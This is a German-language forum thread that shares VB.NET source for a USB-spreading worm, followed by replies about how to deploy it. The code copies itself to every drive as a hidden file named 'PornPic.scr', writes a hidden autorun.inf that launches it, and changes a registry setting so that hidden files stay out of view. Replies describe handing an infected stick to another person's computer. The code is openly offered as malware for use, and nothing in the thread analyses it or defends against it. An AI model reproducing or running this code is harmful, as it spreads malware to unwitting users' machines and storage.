[VB.NET] USB Spread

Code:

---

Imports System.IO
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
        Dim driver() As String = (IO.Directory.GetLogicalDrives)
        For Each drivers In driver
            Try
                IO.File.Copy(Application.ExecutablePath, drivers & "PornPic.scr")
                Dim autorunwriter = New StreamWriter(drivers & "\autorun.inf")
                autorunwriter.WriteLine("[autorun]")
                autorunwriter.WriteLine("open=" & drivers & "PornPic.scr")
                autorunwriter.WriteLine("shellexecute=" & drivers, 1)
                autorunwriter.Close()
                System.IO.File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
                System.IO.File.SetAttributes(drivers & "PornPic.scr", FileAttributes.Hidden)
            Catch ex As Exception

            End Try
        Next
        Call filehide()
    End Sub
    Private Sub filehide()

        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 0)

    End Sub

End Class

---

Ich weis nicht ob es klappt ,eigentlich sollte es gehen aber ich habe immoment keine Externen Sachen zum testen :)
wäre schön wenns einer von euch testen kann ;)
mfG

nehme an:
exe auf pc starten>usb dran>warten>usb ab>an anderen pc dran>*aua*
richtig so?

Nein,so :

Usb stift dran,Exe starten,Usb stift ab und weitergeben. Übrigens ist das nicht gerade der beste Source Code,denn er kopiert sich auch auf deinen Partitionen wie C: oder D: :P

ok und ... meinen code würde ich einfach von end sub einfügen.... mh naja werds mal versuchen =)